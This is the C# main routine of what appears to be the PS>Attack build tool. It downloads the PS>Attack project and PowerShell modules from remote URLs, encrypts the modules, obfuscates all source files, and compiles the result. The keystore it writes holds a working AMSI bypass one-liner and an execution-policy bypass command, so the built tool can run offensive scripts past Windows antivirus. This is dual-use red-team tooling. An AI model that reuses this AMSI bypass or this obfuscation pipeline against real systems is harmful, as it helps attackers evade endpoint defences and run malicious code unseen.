static void Main(string[] args)
{
// PRINT START MESSAGE
Console.ForegroundColor = ConsoleColor.Gray;
Console.WriteLine(Strings.psaStartMsg);
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine(Strings.psaWarningMsg);
Console.ForegroundColor = ConsoleColor.Gray;
Console.WriteLine("\n Press any key to start the build process..");
Console.ReadLine();
Console.Clear();
//PRINT LOGO
//Console.ForegroundColor = ConsoleColor.DarkYellow;
//Random random = new Random();
//int psaLogoInt = random.Next(Strings.psabtLogos.Count);
//Console.WriteLine(Strings.psabtLogos[psaLogoInt]);
//Console.WriteLine("Version {0}\n", Strings.version);
//Console.ForegroundColor = ConsoleColor.White;
Display display = new Display();
GeneratedStrings generatedStrings = new GeneratedStrings();
Random random = new Random();
// DELETE BUILD DIR
display.updateStage("Initializing..");
display.updateStatus("Clearing Build Dir: " + PSABTUtils.GetPSAttackBuildToolDir());
Directory.Delete(PSABTUtils.GetPSAttackBuildToolDir(), true);
//READ JSON FILE
display.updateStage("Initializing..");
display.updateStatus("Loading modules.json");
StreamReader sr = new StreamReader("modules.json");
string modulesJson = sr.ReadToEnd();
MemoryStream memReader = new MemoryStream(Encoding.UTF8.GetBytes(modulesJson));
List <Module> modules = PSABTUtils.GetModuleList(memReader);
string workingDir = PSABTUtils.GetPSAttackBuildToolDir();
//GET PS>ATTACK
display.updateStage("Getting PS>Attack");
display.updateStatus("Searching Github");
Attack attack = PSABTUtils.GetPSAttack(new Uri(Strings.attackURL));
display.updateStatus("Found Version: " + attack.tag_name);
display.updateMessage("Downloading " + attack.zipball_url);
attack.DownloadZip();
display.updateMessage("Unzipping to: " + Strings.attackUnzipDir);
attack.unzipped_dir = PSABTUtils.UnzipFile(Strings.attackZipPath);
// PROCESS PS>ATTACK
display.updateStage("Preparing PS>Attack Build");
// CLEAR OUT BUNDLED MODULES
display.updateStatus("Clearing modules at: " + attack.modules_dir);
display.updateMessage("");
attack.ClearModules();
// CREATE DIRECTORY STRUCTURE
if (!(Directory.Exists(Strings.moduleSrcDir)))
{
display.updateStatus("Creating Modules Source Directory: " + Strings.moduleSrcDir);
Directory.CreateDirectory(Strings.moduleSrcDir);
}
if (!(Directory.Exists(Strings.obfuscatedScriptsDir)))
{
display.updateStatus("Creating Obfuscated Modules Directory: " + Strings.obfuscatedScriptsDir);
Directory.CreateDirectory(Strings.obfuscatedScriptsDir);
}
if (!(Directory.Exists(Strings.obfuscatedSourceDir)))
{
display.updateStatus("Creating Obfuscated Source Directory: " + Strings.obfuscatedSourceDir);
Directory.CreateDirectory(Strings.obfuscatedSourceDir);
}
// CLEAR OUT OBFUSCATED SCRIPTS DIR
DirectoryInfo dirInfo = new DirectoryInfo(Strings.obfuscatedScriptsDir);
foreach (FileInfo file in dirInfo.GetFiles())
{
display.updateStatus("Clearing Obfuscated Modules Directory");
display.updateMessage("Deleting: " + file.Name);
file.Delete();
}
// MAKE NEW MODULES
display.updateStage("Processing Modules");
display.updateStatus("");
display.updateMessage("");
foreach (Module module in modules)
{
string dest = Path.Combine(Strings.moduleSrcDir, (module.name + ".ps1"));
string encOutfile = attack.modules_dir + CryptoUtils.EncryptString(attack, module.name, generatedStrings);
try
{
display.updateStatus("Processing " + module.name);
display.updateMessage("Downloading from " + module.url);
PSABTUtils.DownloadFile(module.url, dest);
display.updateMessage("Encrypting " + module.name);
CryptoUtils.EncryptFile(attack, dest, encOutfile, generatedStrings);
}
catch (Exception e)
{
ConsoleColor origColor = Console.ForegroundColor;
Console.ForegroundColor = ConsoleColor.Red;
display.updateStatus("ERROR!!");
display.updateMessage("There was an error processing " + module.name + " This will probably break the build.");
display.updateSecondaryMessage("Error message: " + e.Message + "\n\n Press enter to continue building PS>Attack..");
Console.ReadLine();
Console.ForegroundColor = origColor;
}
}
// PLACE MATTS AMSI BYPASS IN KEYSTORE
generatedStrings.Store.Add("amsiBypass", "[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)");
generatedStrings.Store.Add("setExecutionPolicy", "Set-ExecutionPolicy Bypass -Scope Process -Force");
generatedStrings.Store.Add("buildDate", DateTime.Now.ToString());
// WRITE KEYS TO CSV
DataContractJsonSerializer jsonSerializer = new DataContractJsonSerializer(typeof(Dictionary <string, string>));
string keyStoreFileName = PSABTUtils.RandomString(64, new Random());
generatedStrings.Store.Add("keyStoreFileName", keyStoreFileName);
using (StreamWriter keystoreCSV = new StreamWriter(Path.Combine(PSABTUtils.GetPSAttackBuildToolDir(), "keystore.csv")))
{
foreach (KeyValuePair <string, string> entry in generatedStrings.Store)
{
keystoreCSV.WriteLine("{0}|{1}", entry.Key, entry.Value);
}
}
// Encrypt keystore
CryptoUtils.EncryptFile(attack, Path.Combine(PSABTUtils.GetPSAttackBuildToolDir(), "keystore.csv"), Path.Combine(attack.resources_dir, keyStoreFileName), generatedStrings);
// GENERATE CSPROJ FILE
display.updateStage("Building PS>Attack");
display.updateStatus("Generating PSAttack.csproj at " + attack.csproj_file);
display.updateMessage("");
PSABTUtils.BuildCsproj(modules, attack, generatedStrings);
// GENERATE SETTINGS FILE
display.updateStage("Building PS>Attack");
display.updateStatus("Generating Config File at " + attack.config_file);
display.updateMessage("");
PSABTUtils.BuildConfigFile(attack, generatedStrings);
// GENERATE SETTINGS DESIGNER FILE
//display.updateStage("Building PS>Attack");
//display.updateStatus("Generating Settings Designer File at " + attack.config_file);
//display.updateMessage("");
//PSABTUtils.BuildSettingsDesignerFile(attack, generatedStrings);
// OBFUSCATE
ObfuscationEngine.ObfuscationEngine engine = new ObfuscationEngine.ObfuscationEngine(generatedStrings);
string[] files = Directory.GetFiles(Strings.attackUnzipDir, "*.*", SearchOption.AllDirectories);
foreach (string file in files)
{
engine.ProcessSource(display, file, generatedStrings, attack);
}
// BUILD PS>ATTACK
Timer timer = new Timer(1200);
display.updateStatus("Kicking off build");
display.updateMessage("3..");
display.updateMessage("3.. 2..");
display.updateMessage("3.. 2.. 1..\n\n\n");
Console.ForegroundColor = ConsoleColor.Gray;
int exitCode = PSABTUtils.BuildPSAttack(attack, generatedStrings);
if (exitCode == 0)
{
Console.ForegroundColor = ConsoleColor.Green;
Console.WriteLine(Strings.psaEndSuccess, Strings.attackBuildDir);
Console.ReadLine();
Process.Start(Strings.attackBuildDir);
}
else if (exitCode == 999)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine(Strings.psaEndNoMSBuild, System.Runtime.InteropServices.RuntimeEnvironment.GetRuntimeDirectory());
Console.ReadLine();
Environment.Exit(exitCode);
}
else
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine(Strings.psaEndFailure);
Console.ReadLine();
Environment.Exit(exitCode);
}
}